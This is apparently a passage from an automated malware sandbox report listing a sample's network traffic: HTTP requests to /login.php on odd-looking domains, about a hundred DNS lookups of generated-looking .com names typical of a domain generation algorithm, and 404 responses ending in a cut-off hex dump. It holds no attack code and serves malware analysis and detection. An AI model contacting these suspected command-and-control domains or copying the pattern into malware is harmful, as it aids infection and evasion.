    Source: global trafficHTTP traffic detected: GET /login.php?subid1=20241112-0450-16f3-ae99-53051689f189 HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww25.lyxynyx.comConnection: Keep-AliveCookie: __tad=1731347316.6624222
    Source: global trafficHTTP traffic detected: GET /login.php?sub1=20241112-0450-17b0-8984-b4b272a22199 HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww16.vofycot.comConnection: Keep-AliveCookie: __tad=1731347315.6084114
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyhub.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyhub.com
    Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lygyvuj.comCookie: snkz=66.23.206.109; btst=293809bacc657b47b250fb03d68a31f5|66.23.206.109|1731347323|1731347323|0|1|0
    Source: global trafficDNS traffic detected: DNS query: qegyqaq.com
    Source: global trafficDNS traffic detected: DNS query: qexyryl.com
    Source: global trafficDNS traffic detected: DNS query: qekyqop.com
    Source: global trafficDNS traffic detected: DNS query: purydyv.com
    Source: global trafficDNS traffic detected: DNS query: lyxywer.com
    Source: global trafficDNS traffic detected: DNS query: vofygum.com
    Source: global trafficDNS traffic detected: DNS query: qeqyxov.com
    Source: global trafficDNS traffic detected: DNS query: puzywel.com
    Source: global trafficDNS traffic detected: DNS query: lymyxid.com
    Source: global trafficDNS traffic detected: DNS query: qedyfyq.com
    Source: global trafficDNS traffic detected: DNS query: volyqat.com
    Source: global trafficDNS traffic detected: DNS query: qetyvep.com
    Source: global trafficDNS traffic detected: DNS query: pumyxiv.com
    Source: global trafficDNS traffic detected: DNS query: gadyfuh.com
    Source: global trafficDNS traffic detected: DNS query: vonyzuf.com
    Source: global trafficDNS traffic detected: DNS query: lysyfyj.com
    Source: global trafficDNS traffic detected: DNS query: puzylyp.com
    Source: global trafficDNS traffic detected: DNS query: galyqaz.com
    Source: global trafficDNS traffic detected: DNS query: qegyhig.com
    Source: global trafficDNS traffic detected: DNS query: gacyzuz.com
    Source: global trafficDNS traffic detected: DNS query: lyryvex.com
    Source: global trafficDNS traffic detected: DNS query: gaqycos.com
    Source: global trafficDNS traffic detected: DNS query: gahyhob.com
    Source: global trafficDNS traffic detected: DNS query: puvytuq.com
    Source: global trafficDNS traffic detected: DNS query: vojyjof.com
    Source: global trafficDNS traffic detected: DNS query: pujyjav.com
    Source: global trafficDNS traffic detected: DNS query: gatyvyz.com
    Source: global trafficDNS traffic detected: DNS query: vopybyt.com
    Source: global trafficDNS traffic detected: DNS query: lykyjad.com
    Source: global trafficDNS traffic detected: DNS query: qekykev.com
    Source: global trafficDNS traffic detected: DNS query: pupybul.com
    Source: global trafficDNS traffic detected: DNS query: vowycac.com
    Source: global trafficDNS traffic detected: DNS query: lysynur.com
    Source: global trafficDNS traffic detected: DNS query: lygygin.com
    Source: global trafficDNS traffic detected: DNS query: gacyryw.com
    Source: global trafficDNS traffic detected: DNS query: ganypih.com
    Source: global trafficDNS traffic detected: DNS query: qebytiq.com
    Source: global trafficDNS traffic detected: DNS query: purycap.com
    Source: global trafficDNS traffic detected: DNS query: vocyruk.com
    Source: global trafficDNS traffic detected: DNS query: lyryfyd.com
    Source: global trafficDNS traffic detected: DNS query: qeqysag.com
    Source: global trafficDNS traffic detected: DNS query: vowydef.com
    Source: global trafficDNS traffic detected: DNS query: lygymoj.com
    Source: global trafficDNS traffic detected: DNS query: qexylup.com
    Source: global trafficDNS traffic detected: DNS query: pufymoq.com
    Source: global trafficDNS traffic detected: DNS query: lyxylux.com
    Source: global trafficDNS traffic detected: DNS query: gadyniw.com
    Source: global trafficDNS traffic detected: DNS query: gaqydeb.com
    Source: global trafficDNS traffic detected: DNS query: lyvyxor.com
    Source: global trafficDNS traffic detected: DNS query: lyvytuj.com
    Source: global trafficDNS traffic detected: DNS query: vocyzit.com
    Source: global trafficDNS traffic detected: DNS query: gahyqah.com
    Source: global trafficDNS traffic detected: DNS query: puvyxil.com
    Source: global trafficDNS traffic detected: DNS query: volykyc.com
    Source: global trafficDNS traffic detected: DNS query: vofymik.com
    Source: global trafficDNS traffic detected: DNS query: qetyfuv.com
    Source: global trafficDNS traffic detected: DNS query: vojyqem.com
    Source: global trafficDNS traffic detected: DNS query: vonypom.com
    Source: global trafficDNS traffic detected: DNS query: pumypog.com
    Source: global trafficDNS traffic detected: DNS query: gatyfus.com
    Source: global trafficDNS traffic detected: DNS query: qedynul.com
    Source: global trafficDNS traffic detected: DNS query: galykes.com
    Source: global trafficDNS traffic detected: DNS query: lymysan.com
    Source: global trafficDNS traffic detected: DNS query: pufygug.com
    Source: global trafficDNS traffic detected: DNS query: ww5.galyqaz.com
    Source: global trafficDNS traffic detected: DNS query: lyvylyn.com
    Source: global trafficDNS traffic detected: DNS query: qebylug.com
    Source: global trafficDNS traffic detected: DNS query: gatydaw.com
    Source: global trafficDNS traffic detected: DNS query: ganyzub.com
    Source: global trafficDNS traffic detected: DNS query: pupydeq.com
    Source: global trafficDNS traffic detected: DNS query: pujymip.com
    Source: global trafficDNS traffic detected: DNS query: lykymox.com
    Source: global trafficDNS traffic detected: DNS query: vopydek.com
    Source: global trafficDNS traffic detected: DNS query: vojymic.com
    Source: global trafficDNS traffic detected: DNS query: qetysal.com
    Source: global trafficDNS traffic detected: DNS query: puvylyg.com
    Source: global trafficDNS traffic detected: DNS query: vocyqaf.com
    Source: global trafficDNS traffic detected: DNS query: volymum.com
    Source: global trafficDNS traffic detected: DNS query: vofydac.com
    Source: global trafficDNS traffic detected: DNS query: gadydas.com
    Source: global trafficDNS traffic detected: DNS query: puzymig.com
    Source: global trafficDNS traffic detected: DNS query: gaqyzuw.com
    Source: global trafficDNS traffic detected: DNS query: qeqylyl.com
    Source: global trafficDNS traffic detected: DNS query: lymylyr.com
    Source: global trafficDNS traffic detected: DNS query: pufydep.com
    Source: global trafficDNS traffic detected: DNS query: lyxymin.com
    Source: global trafficDNS traffic detected: DNS query: vowyzuk.com
    Source: global trafficDNS traffic detected: DNS query: lygyfex.com
    Source: global trafficDNS traffic detected: DNS query: puryxuq.com
    Source: global trafficDNS traffic detected: DNS query: qegyfyp.com
    Source: global trafficDNS traffic detected: DNS query: qetyxiq.com
    Source: global trafficDNS traffic detected: DNS query: gahyfyz.com
    Source: global trafficDNS traffic detected: DNS query: gatycoh.com
    Source: global trafficDNS traffic detected: DNS query: lyvywed.com
    Source: global trafficDNS traffic detected: DNS query: puvywav.com
    Source: global trafficDNS traffic detected: DNS query: gacyqob.com
    Source: global trafficDNS traffic detected: DNS query: qexyqog.com
    Source: global trafficDNS traffic detected: DNS query: lyryxij.com
    Source: global trafficDNS traffic detected: DNS query: qekyhil.com
    Source: global trafficDNS traffic detected: DNS query: vonyryc.com
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:48:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wZCvFrbZ6XjmX0m7Fmiy4Hpcx20UKwgvnnM4WEsFGdMWMgYIc1bWFAfdCl1C7ADoNKuWgvAptrfaWTKdUvX8AkAycEVkes%2FL4ADRQQClUIxctKbcthEDjUsUSIrLcQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e101cd83f2518c0-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1290&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=881&delivery_rate=2130978&cwnd=251&unsent_bytes=0&cid=a304908a41432685&ts=909&x=0"
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:48:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XHMa3xnoPRPaEWtUrpS95KVifnR3CdgrMd76xtSZxSVjhoYCoSXsKt6cF%2BZlsusOX7fRhUzLU0R6tQa5uMkDcrAz%2FYGaIfqNPYNbo4NHHzF%2BVOLfaaE1%2BSLxOt7yQg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e101ce4addd0f85-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1297&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2824&recv_bytes=881&delivery_rate=2192278&cwnd=246&unsent_bytes=0&cid=c68c2539a96fe2ce&ts=855&x=0"
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:48:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="39.0",amp_style_sanitizer;dur="18.0",amp_tag_and_attribute_sanitizer;dur="14.5",amp_optimizer;dur="16.1"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6vGypwx%2BPgWcKCn2yY8JSnSetZmhdeNxDxcmqrsbF3zlsBkILZAZiXWf%2BTnBaY6Yk5iz1aEiLw%2B8bWgjsrijUyVBjjB8roeXF5KLs0ALWjejf2O6lmteuRyEs6PIHg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e101d109d0443a0-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1143&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=881&delivery_rate=2429530&cwnd=231&unsent_bytes=0&cid=13ea4e558f4e72c0&ts=1807&x=0"
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:48:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="44.1",amp_style_sanitizer;dur="27.0",amp_tag_and_attribute_sanitizer;dur="12.4",amp_optimizer;dur="21.8"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S3i5QSLKZ%2BntlE%2BounJbfCTwudlZXep0opq0n2z8%2FnrtTrbL7YazQzaLEhC%2F6o1wuiPn2TQvuUayTQH5F14gL7Iwr4aOLXlmaQ%2FmJ%2FRvCjl61xg9Bd%2BTwJFq4tshgw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e101d2108ec41c6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1126&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=881&delivery_rate=2542581&cwnd=243&unsent_bytes=0&cid=50260e2f3cf951f9&ts=1394&x=0"
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:48:50 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=scDJKpNRBz1GHx9dZ9DZgPwZqbuTp9QCJK6vyX%2FsD3%2BViCKGdPwSD0yk2c8RSxgLAd7ZG2p%2BnHQiPdIuPhTbfDnYo4eJl6T8SFc5%2F%2Fvz%2BFIj7mERlTsrQHz2Gryp%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e101d8b7b1f4d13-BOSalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=7515&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=356869&cwnd=81&unsent_bytes=0&cid=de3656553b841c1b&ts=1093&x=0"
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:48:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3uFZGaglTDCK9eG2Cw6Kz5SdD2QbaffUrUl5lafTaAmwME%2BZ1NMao3CYFQoibh4Jd3sEPZPm%2Fx33d7mfMFiXQqs7kYvEzFTonrbyU89M0eKpiBhXKsdCUjp6ChXzuw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e101d975bdb7c81-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1305&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2824&recv_bytes=881&delivery_rate=2039436&cwnd=251&unsent_bytes=0&cid=f6bdf99c24c2eb86&ts=815&x=0"
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:48:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="30.6",amp_style_sanitizer;dur="14.9",amp_tag_and_attribute_sanitizer;dur="11.7",amp_optimizer;dur="17.9"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P05LdW15ofL5Nb3NX38MURGjLUGAas9J9puQUpQCE5BXyyoI9LQ%2BPNCDxMNDZLSRYakc5Ic%2BYMsGAa6w6BhY2rVj0xFT7aEJScmEHwiymbE9N4tWCpZXj39eEag1Eg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e101da3587d4374-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1165&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=2477331&cwnd=250&unsent_bytes=0&cid=932d5985f20c2e41&ts=1457&x=0"
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:48:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="39.9",amp_style_sanitizer;dur="19.5",amp_tag_and_attribute_sanitizer;dur="15.7",amp_optimizer;dur="21.2"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7TXAsd11UqgpayS76qkJdcor311wa4zB2YlSj0c5nNUjm821ylSEaK%2BEs8QUA21CO974MtkUuGkUG%2FSC57OKw9VTjytlBaRbuKIJmZ6reNVU87MHQvEM3i1338go5A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e101db77cfb0f6c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1300&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=881&delivery_rate=2273155&cwnd=234&unsent_bytes=0&cid=aaded6fda7720b1c&ts=1494&x=0"
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:49:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VpSzpDPHR6GvC%2BqCF3mVKQ2fiqj8D%2BxZ2x6MjzswR7651%2BNCaWRleMLraQid45R9h88HLEID4TdPqU%2Bo0cP75mc%2F0poJ3o0ph4N9WJc7xg5ePoSsrP%2BouX4g4Hib8A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e101dc81f6e43d0-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1154&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=2441821&cwnd=250&unsent_bytes=0&cid=e50e38eb5b8aa326&ts=1438&x=0"
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:50:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h2RT5G0LJctOMjG2aH3nHg%2BQusIc6Da6tqmp7c5SFzcT3iPo4aAiEIKQ4cd9ij%2BBkkiMILkjt%2FKMT%2FNgJW8ZmYWVTnXxjAXUv9pUX7EjDBB%2FSEbiHEOm20ZKHkfA%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e101f748ac8c468-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1138&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=881&delivery_rate=2175807&cwnd=244&unsent_bytes=0&cid=fcf56d779633c894&ts=1011&x=0"
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:50:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RHIjctjCT1ooN2NS%2FaY%2BBABVzfptb9%2FIc%2FF%2ByWyMvb2nZEupw4ESPK1litZ4LyT01dUu1JCmG%2Bq9SJVICbqBEVvWkTnVU5x5wFlDD1z4if8t8JRkZa%2FWUwL0SLsbbw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e101f810afb6a53-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1352&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=2129411&cwnd=251&unsent_bytes=0&cid=15f7e65e4ce5301f&ts=971&x=0"
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:50:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="44.8",amp_style_sanitizer;dur="20.8",amp_tag_and_attribute_sanitizer;dur="18.2",amp_optimizer;dur="19.8"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aJw0g02yj%2FJ9%2B62%2BpA7rE7RPCpX7X6DZ0uZqcg1LuVrRSfbGYitOAEtExUUfCeEmbpM6QQTZlu%2FvgDomcDPsaeizSuuqzhMxuFy7VEctMMFN6mt6LALJSiWFh8Jm7Q%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e101f8f28e832ee-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1634&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=1672055&cwnd=249&unsent_bytes=0&cid=ceaf4dcdc445d5bb&ts=1643&x=0"
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:50:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="46.3",amp_style_sanitizer;dur="29.7",amp_tag_and_attribute_sanitizer;dur="12.7",amp_optimizer;dur="20.2"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5CL25vgbrS1rDasUyyBvfyQWzV%2BTO%2FQQ%2FISh0hvpDBDGdS0CSHe%2FM2VS0guLBJEqw9bbEqFXYjHdFVLPxyLTuZMGe8fxdlqJ0E6OK%2FsPscs8RbyonIhkJBxfQCNHSA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e101f9e9f9b5e76-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1359&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=2148367&cwnd=251&unsent_bytes=0&cid=9e17aeff35ad257e&ts=1418&x=0"
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:48:15 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
